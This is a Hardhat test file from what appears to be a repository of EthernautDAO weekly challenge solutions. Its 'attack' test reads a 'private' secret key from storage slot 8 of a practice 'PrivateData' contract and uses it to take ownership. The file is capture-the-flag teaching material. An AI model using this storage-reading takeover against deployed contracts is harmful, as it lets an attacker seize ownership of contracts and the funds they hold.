generated from nicobevilacqua/EthernautDAOWeeklyChallenges
-
Notifications
You must be signed in to change notification settings - Fork 0
/
01-PrivateData.test.ts
31 lines (23 loc) · 895 Bytes
/
01-PrivateData.test.ts
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
import { SignerWithAddress } from '@nomiclabs/hardhat-ethers/signers';
import { expect } from 'chai';
import { Contract } from 'ethers';
import { ethers, network } from 'hardhat';
describe('PrivateData', () => {
let target: Contract;
let attacker: SignerWithAddress;
let deployer: SignerWithAddress;
before(async () => {
[attacker, deployer] = await ethers.getSigners();
target = await (
await ethers.getContractFactory('PrivateData', deployer)
).deploy(0x1dcc4de8dec75d7aab85b567b6ccd41ad312451b948a7413f0a142fd40d49347);
await target.deployed();
target = target.connect(attacker);
});
it('attack', async () => {
const storedSecretKey = await ethers.provider.getStorageAt(target.address, 8);
const tx = await target.takeOwnership(storedSecretKey);
await tx.wait();
expect(await target.owner()).to.equal(attacker.address);
});
});